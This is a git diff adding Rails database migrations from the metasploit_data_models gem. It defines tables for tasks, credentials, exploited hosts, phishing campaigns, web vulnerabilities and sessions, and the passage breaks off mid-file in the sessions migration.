a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb new file mode 100755 index 0000000000..39004c821e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/012_add_tasks.rb @@ -0,0 +1,24 @@ +class AddTasks < ActiveRecord::Migration + + def self.up + create_table :tasks do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :module + t.datetime :completed_at + t.string :path, :limit => 1024 + t.string :info + t.string :description + t.integer :progress + t.text :options + t.text :error + t.timestamps + end + end + + def self.down + drop_table :tasks + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb new file mode 100755 index 0000000000..bf01c7afb8 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/013_add_tasks_result.rb @@ -0,0 +1,10 @@ +class AddTasksResult < ActiveRecord::Migration + def self.up + add_column :tasks, :result, :text + end + + def self.down + remove_column :tasks, :result + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb new file mode 100755 index 0000000000..616d8c96be --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/014_add_loots_fields.rb @@ -0,0 +1,12 @@ +class AddLootsFields < ActiveRecord::Migration + def self.up + add_column :loots, :name, :text + add_column :loots, :info, :text + end + + def self.down + remove_column :loots, :name + remove_column :loots, :info + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb new file mode 100755 index 0000000000..7934a0f423 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/015_rename_user.rb @@ -0,0 +1,16 @@ +class RenameUser < ActiveRecord::Migration + def self.up + remove_column :events, :user + change_table :events do |t| + t.string :username + end + end + + def self.down + remove_column :events, :username + change_table :events do |t| + t.string :user + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb new file mode 100755 index 0000000000..1e2827801e --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/016_add_host_purpose.rb @@ -0,0 +1,10 @@ +class AddHostPurpose < ActiveRecord::Migration + def self.up + add_column :hosts, :purpose, :text + end + + def self.down + remove_column :hosts, :purpose + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb new file mode 100755 index 0000000000..cee6fd8d3b --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/017_expand_info2.rb @@ -0,0 +1,58 @@ +class ExpandInfo2 < ActiveRecord::Migration + def self.up + remove_column :events, :info + change_table :events do |t| + t.string :info, :limit => 65536 + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 65536 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 65536 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 65536 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 65536 + end + end + + def self.down + + remove_column :events, :info + change_table :events do |t| + t.string :info + end + + remove_column :notes, :data + change_table :notes do |t| + t.string :data, :limit => 4096 + end + + remove_column :hosts, :info + change_table :hosts do |t| + t.string :info, :limit => 4096 + end + + remove_column :vulns, :data + change_table :vulns do |t| + t.string :data, :limit => 4096 + end + + remove_column :services, :info + change_table :services do |t| + t.string :info, :limit => 4096 + end + + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb new file mode 100755 index 0000000000..fb5e101fc3 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/018_add_workspace_user_info.rb @@ -0,0 +1,29 @@ +class AddWorkspaceUserInfo < ActiveRecord::Migration + def self.up + change_table :workspaces do |t| + t.string :boundary, :limit => 4096 + end + + change_table :users do |t| + t.string :fullname + t.string :email + t.string :phone + t.string :company + end + end + + def self.down + change_table :workspaces do |t| + t.remove :boundary + end + + change_table :users do |t| + t.remove :fullname + t.remove :email + t.remove :phone + t.remove :company + end + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb new file mode 100755 index 0000000000..0dc31f0c61 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/019_add_workspace_desc.rb @@ -0,0 +1,23 @@ +class AddWorkspaceDesc < ActiveRecord::Migration + def self.up + change_table :workspaces do |t| + t.string :description, :limit => 4096 + end + + change_table :hosts do |t| + t.string :comments, :limit => 4096 + end + end + + def self.down + change_table :workspaces do |t| + t.remove :description + end + + change_table :hosts do |t| + t.remove :comments + end + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb new file mode 100755 index 0000000000..40b472701c --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/020_add_user_preferences.rb @@ -0,0 +1,11 @@ +class AddUserPreferences < ActiveRecord::Migration + def self.up + add_column :users, :prefs, :string, :limit => 524288 + end + + def self.down + remove_column :users, :prefs + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb new file mode 100755 index 0000000000..bb9a2bccd6 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/021_standardize_info_and_data.rb @@ -0,0 +1,18 @@ +class StandardizeInfoAndData < ActiveRecord::Migration + def self.up + # Remove the host requirement. We'll add the column back in below. + remove_column :vulns, :data + change_table :vulns do |t| + t.string :info, :limit => 65536 + end + end + + def self.down + remove_column :vulns, :info + change_table :notes do |t| + t.string :data, :limit => 65536 + + end + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb new file mode 100755 index 0000000000..fec9698c06 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/022_enlarge_event_info.rb @@ -0,0 +1,10 @@ +class EnlargeEventInfo < ActiveRecord::Migration + def self.up + change_column :events, :info, :text + end + + def self.down + change_column :events, :info, :string, :limit => 65535 + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb new file mode 100755 index 0000000000..7ec5716e82 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/023_add_report_downloaded_at.rb @@ -0,0 +1,10 @@ +class AddReportDownloadedAt < ActiveRecord::Migration + def self.up + add_column :reports, :downloaded_at, :timestamp + end + + def self.down + remove_column :reports, :downloaded_at + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb new file mode 100755 index 0000000000..14f0a96222 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/024_convert_service_info_to_text.rb @@ -0,0 +1,12 @@ +class ConvertServiceInfoToText < ActiveRecord::Migration + + def self.up + change_column :services, :info, :text + end + + def self.down + change_column :services, :info, :string, :limit => 65536 + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb new file mode 100755 index 0000000000..d077dbd633 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/025_add_user_admin.rb @@ -0,0 +1,19 @@ +class AddUserAdmin < ActiveRecord::Migration + + # Add user admin flag and project member list. + def self.up + add_column :users, :admin, :boolean, :default => true + + create_table :project_members, :id => false do |t| + t.integer :workspace_id, :null => false + t.integer :user_id, :null => false + end + end + + def self.down + remove_column :users, :admin + + drop_table :project_members + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb new file mode 100755 index 0000000000..381ec8373a --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/026_add_creds_table.rb @@ -0,0 +1,19 @@ +class AddCredsTable < ActiveRecord::Migration + def self.up + create_table :creds do |t| + t.integer :service_id, :null => false + t.timestamps + t.string :user, :limit => 2048 + t.string :pass, :limit => 4096 + t.boolean :active, :default => true + t.string :proof, :limit => 4096 + t.string :ptype, :limit => 16 + t.integer :source_id + t.string :source_type + end + end + def self.down + drop_table :creds + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb new file mode 100755 index 0000000000..d752c270f4 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100819123300_migrate_cred_data.rb @@ -0,0 +1,154 @@ +class MigrateCredData < ActiveRecord::Migration + + def self.up + begin # Wrap the whole thing in a giant rescue. + skipped_notes = [] + new_creds = [] + Mdm::Note.find(:all).each do |note| + next unless note.ntype[/^auth\.(.*)/] + service_name = $1 + if !service_name + skipped_notes << note + next + end + if note.host and note.host.respond_to?(:address) + if note.service + svc_id = note.service.id + else + candidate_services = [] + note.host.services.each do |service| + if service.name == service_name + candidate_services << service + end + end + # Use the default port, or the first port that matches the protocol name. + default_port = case service_name.downcase + when 'ftp'; 21 + when /^smb/; 445 + when /^imap/; 143 + when 'telnet'; 23 + when 'pop3'; 110 + when 'http','domino','axis','wordpress','tomcat'; 80 + when 'tns'; 1521 + when 'snmp'; 161 + when 'mssql'; 1433 + when 'ssh'; 22 + when 'https'; 443 + when 'mysql'; 3306 + when 'db2'; 50000 + when 'postgres'; 5432 + else nil + end + if !default_port + skipped_notes << note + next + end + if candidate_services.size == 1 + svc_id = candidate_services.first.id + elsif candidate_services.empty? + Mdm::Service.new do |svc| + svc.host_id = note.host.id + svc.port = default_port + svc.proto = 'tcp' + svc.state = 'open' + svc.name = service_name.downcase + svc.save! + svc_id = svc.id + end + elsif candidate_services.size > 1 + svc_ports = candidate_services.map{|s| s.port} + if svc_ports.index(default_port) + svc_id = candidate_services[svc_ports.index(default_port)].id + else + svc_id = candidate_services.first.id + end + end + end + else + skipped_notes << note + next + end + if note.data[:hash] + ptype = 'smb_hash' + pass = note.data[:hash] + elsif note.data[:ssh_key] + ptype = 'ssh_key' + pass = note.data[:extra] + else + ptype = 'password' + pass = note.data[:pass] + end + # Format domains and databases into the usernames. + if note.ntype == "auth.smb_challenge" + domain = note.data[:extra].match(/DOMAIN=([^\s]+)/)[1] + if domain + user = [domain, note.data[:user]].join("/") + else + user = note.data[:user] + end + elsif note.ntype =~ /auth\.(postgres|db2)/ + if note.data[:database] + user = [note.data[:database], note.data[:user]].join("/") + else + user = note.data[:user] + end + else + user = note.data[:user] + end + # Not actually a credentials, convert to migrated notes + if service_name == 'smb' && note.data[:token] + skipped_notes << note + next + end + if service_name == 'tns' && note.data[:type] == "bruteforced_sid" + skipped_notes << note + next + end + # Special case for the bizarre reporting for aux/admin/oracle/oracle_login + if service_name == 'tns' && note.data[:type] == "bruteforced_account" + note.data[:data] =~ /([^\x2f]+)\x2f([^\s]+).*with sid (.*)/ + user = "#{$3}/#{$1}" + pass = $2 + end + new_creds << [svc_id, ptype, user, pass] + end + + say "Migrating #{new_creds.size} credentials." + new_creds.uniq.each do |note| + Mdm::Cred.new do |cred| + cred.service_id = note[0] + cred.user = note[2] + cred.pass = note[3] + cred.ptype = note[1] + cred.save! + end + end + + say "Migrating #{skipped_notes.size} notes." + skipped_notes.uniq.each do |note| + Mdm::Note.new do |new_note| + new_note.host_id = note.host_id + new_note.ntype = "migrated_auth" + new_note.data = note.data.merge(:migrated_auth_type => note.ntype) + new_note.save! + end + end + + say "Deleting migrated auth notes." + Mdm::Note.find(:all).each do |note| + next unless note.ntype[/^auth\.(.*)/] + note.delete + end + rescue + say "There was a problem migrating auth credentials. Skipping." + return true # Never fail! + end + end + + + def self.down + raise ActiveRecord::IrreversibleMigration + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb new file mode 100755 index 0000000000..b7897d3832 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100824151500_add_exploited_table.rb @@ -0,0 +1,16 @@ +class AddExploitedTable < ActiveRecord::Migration + def self.up + create_table :exploited_hosts do |t| + t.integer :host_id, :null => false + t.integer :service_id + t.string :session_uuid, :limit => 8 + t.string :name, :limit => 2048 + t.string :payload, :limit => 2048 + t.timestamps + end + end + def self.down + drop_table :exploited_hosts + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb new file mode 100755 index 0000000000..c136d4b9d7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100908001428_add_owner_to_workspaces.rb @@ -0,0 +1,9 @@ +class AddOwnerToWorkspaces < ActiveRecord::Migration + def self.up + add_column :workspaces, :owner_id, :integer + end + + def self.down + remove_column :workspaces, :owner_id + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb new file mode 100755 index 0000000000..08b06d4c5f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100911122000_add_report_templates.rb @@ -0,0 +1,18 @@ +class AddReportTemplates < ActiveRecord::Migration + + def self.up + create_table :report_templates do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :created_by + t.string :path, :limit => 1024 + t.text :name + t.timestamps + end + end + + def self.down + drop_table :reports + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb new file mode 100755 index 0000000000..d73e18425d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916151530_require_admin_flag.rb @@ -0,0 +1,15 @@ +class RequireAdminFlag < ActiveRecord::Migration + + # Make the admin flag required. + def self.up + # update any existing records + Mdm::User.update_all({:admin => true}, {:admin => nil}) + + change_column :users, :admin, :boolean, :null => false, :default => true + end + + def self.down + change_column :users, :admin, :boolean, :default => true + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb new file mode 100755 index 0000000000..433bdcf65f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100916175000_add_campaigns_and_templates.rb @@ -0,0 +1,61 @@ + +class AddCampaignsAndTemplates < ActiveRecord::Migration + + def self.up + create_table :campaigns do |t| + t.integer :workspace_id, :null => false + t.string :name, :limit => 512 + # Serialized, stores SMTP/other protocol config options etc. + t.text :prefs + t.integer :status, :default => 0 + t.timestamp :started_at + t.timestamps + end + + create_table :email_templates do |t| + t.string :name, :limit => 512 + t.string :subject, :limit => 1024 + t.text :body + t.integer :parent_id + t.integer :campaign_id + end + create_table :attachments do |t| + t.string :name, :limit => 512 + t.binary :data + t.string :content_type, :limit => 512 + t.boolean :inline, :null => false, :default => true + t.boolean :zip, :null => false, :default => false + end + create_table :attachments_email_templates, :id => false do |t| + t.integer :attachment_id + t.integer :email_template_id + end + + create_table :email_addresses do |t| + t.integer :campaign_id, :null => false + t.string :first_name, :limit => 512 + t.string :last_name, :limit => 512 + t.string :address, :limit => 512 + t.boolean :sent, :null => false, :default => false + t.timestamp :clicked_at + end + + create_table :web_templates do |t| + t.string :name, :limit => 512 + t.string :title, :limit => 512 + t.string :body, :limit => 524288 + t.integer :campaign_id + end + end + + def self.down + drop_table :campaigns + drop_table :email_templates + drop_table :attachments + drop_table :attachments_email_templates + drop_table :email_addresses + drop_table :web_templates + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb new file mode 100755 index 0000000000..7b055b268f --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100920012100_add_generate_exe_column.rb @@ -0,0 +1,8 @@ +class AddGenerateExeColumn < ActiveRecord::Migration + def self.up + add_column :email_templates, :generate_exe, :boolean, :null => false, :default => false + end + def self.down + remove_column :email_templates, :generate_exe + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb new file mode 100755 index 0000000000..70b84d0734 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20100926214000_add_template_prefs.rb @@ -0,0 +1,11 @@ +class AddTemplatePrefs < ActiveRecord::Migration + def self.up + remove_column :email_templates, :generate_exe + add_column :email_templates, :prefs, :text + add_column :web_templates, :prefs, :text + end + def self.down + remove_column :email_templates, :prefs + remove_column :web_templates, :prefs + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb new file mode 100755 index 0000000000..e55bf286b5 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101001000000_add_web_tables.rb @@ -0,0 +1,57 @@ +class AddWebTables < ActiveRecord::Migration + + def self.up + create_table :web_sites do |t| + t.integer :service_id, :null => false + t.timestamps + t.string :vhost, :limit => 2048 + t.text :comments + t.text :options + end + + create_table :web_pages do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.text :query + t.integer :code, :null => false + t.text :cookie + t.text :auth + t.text :ctype + t.timestamp :mtime + t.text :location + t.text :body + t.text :headers + end + + create_table :web_forms do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.string :method, :limit => 1024 + t.text :params + end + + create_table :web_vulns do |t| + t.integer :web_site_id, :null => false + t.timestamps + t.text :path + t.string :method, :limit => 1024 + t.text :params + t.text :pname + t.text :proof + t.integer :risk + t.string :name, :limit => 1024 + end + + end + + def self.down + drop_table :web_sites + drop_table :web_pages + drop_table :web_forms + drop_table :web_vulns + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb new file mode 100755 index 0000000000..f22d0f2954 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101002000000_add_query.rb @@ -0,0 +1,10 @@ +class AddQuery < ActiveRecord::Migration + def self.up + add_column :web_forms, :query, :text + add_column :web_vulns, :query, :text + end + def self.down + remove_column :web_forms, :query + remove_column :web_vulns, :query + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb new file mode 100755 index 0000000000..34c1eb3fd9 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101007000000_add_vuln_info.rb @@ -0,0 +1,15 @@ +class AddVulnInfo < ActiveRecord::Migration + def self.up + add_column :web_vulns, :category, :text + add_column :web_vulns, :confidence, :text + add_column :web_vulns, :description, :text + add_column :web_vulns, :blame, :text + end + def self.down + remove_column :web_forms, :category + remove_column :web_vulns, :confidence + remove_column :web_vulns, :description + remove_column :web_vulns, :blame + end +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb new file mode 100755 index 0000000000..6281f91343 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101008111800_add_clients_to_campaigns.rb @@ -0,0 +1,10 @@ + +class AddClientsToCampaigns < ActiveRecord::Migration + def self.up + add_column :clients, :campaign_id, :integer + end + + def self.down + remove_column :clients, :campaign_id + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb new file mode 100755 index 0000000000..6baf770f29 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101009023300_add_campaign_attachments.rb @@ -0,0 +1,15 @@ + + +class AddCampaignAttachments < ActiveRecord::Migration + + def self.up + add_column :attachments, :campaign_id, :integer + end + + def self.down + remove_column :attachments, :campaign_id + end + +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb new file mode 100755 index 0000000000..92eb12d474 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101104135100_add_imported_creds.rb @@ -0,0 +1,17 @@ +class AddImportedCreds < ActiveRecord::Migration + + def self.up + create_table :imported_creds do |t| + t.integer :workspace_id, :null => false, :default => 1 + t.string :user, :limit => 512 + t.string :pass, :limit => 512 + t.string :ptype, :limit => 16, :default => "password" + end + end + + def self.down + drop_table :imported_creds + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb new file mode 100755 index 0000000000..2056369ed7 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000000_fix_web_tables.rb @@ -0,0 +1,34 @@ +class FixWebTables < ActiveRecord::Migration + + def self.up + change_column :web_pages, :path, :text + change_column :web_pages, :query, :text + change_column :web_pages, :cookie, :text + change_column :web_pages, :auth, :text + change_column :web_pages, :ctype, :text + change_column :web_pages, :location, :text + change_column :web_pages, :path, :text + change_column :web_vulns, :path, :text + change_column :web_vulns, :pname, :text + + add_column :web_pages, :request, :text + add_column :web_vulns, :request, :text + end + + def self.down + change_column :web_pages, :path, :text + change_column :web_pages, :query, :text + change_column :web_pages, :cookie, :text + change_column :web_pages, :auth, :text + change_column :web_pages, :ctype, :text + change_column :web_pages, :location, :text + change_column :web_pages, :path, :text + change_column :web_vulns, :path, :text + change_column :web_vulns, :pname, :text + + remove_column :web_pages, :request + remove_column :web_vulns, :request + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb new file mode 100755 index 0000000000..1a0bc1bc51 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101203000001_expand_host_comment.rb @@ -0,0 +1,12 @@ +class ExpandHostComment < ActiveRecord::Migration + + def self.up + change_column :hosts, :comments, :text + end + + def self.down + change_column :hosts, :comments, :string, :limit => 4096 + end +end + + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb new file mode 100755 index 0000000000..7365e14f9d --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20101206212033_add_limit_to_network_to_workspaces.rb @@ -0,0 +1,9 @@ +class AddLimitToNetworkToWorkspaces < ActiveRecord::Migration + def self.up + add_column :workspaces, :limit_to_network, :boolean, :null => false, :default => false + end + + def self.down + remove_column :workspaces, :limit_to_network + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb new file mode 100755 index 0000000000..f41bc6a813 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110112154300_add_module_uuid_to_tasks.rb @@ -0,0 +1,9 @@ +class AddModuleUuidToTasks < ActiveRecord::Migration + def self.up + add_column :tasks, :module_uuid, :string, :limit => 8 + end + + def self.down + remove_column :tasks, :module_uuid + end +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb new file mode 100755 index 0000000000..d07c885c35 --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110204112800_add_host_tags.rb @@ -0,0 +1,28 @@ +class AddHostTags < ActiveRecord::Migration + + def self.up + + create_table :tags do |t| + t.integer :user_id + t.string :name, :limit => 1024 + t.text :desc + t.boolean :report_summary, :null => false, :default => false + t.boolean :report_detail, :null => false, :default => false + t.boolean :critical, :null => false, :default => false + t.timestamps + end + + create_table :hosts_tags, :id => false do |t| + t.integer :host_id + t.integer :tag_id + end + + end + + def self.down + drop_table :hosts_tags + drop_table :tags + end + +end + diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb new file mode 100755 index 0000000000..15ac8852bb --- /dev/null +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/db/migrate/20110317144932_add_session_table.rb @@ -0,0 +1,110 @@ +class AddSessionTable < ActiveRecord::Migration + + class Event < ActiveRecord::Base + serialize :info + end + + class SessionEvent < ActiveRecord::Base + belongs_to :session + end + + class Session < ActiveRecord::Base + has_many :events, :class_name => 'AddSessionTable::SessionEvent' + serialize :datastore + end + + def self.up + + create_table :sessions do |t| + t.integer :host_id + + t.string :stype # session type: meterpreter, shell, etc + 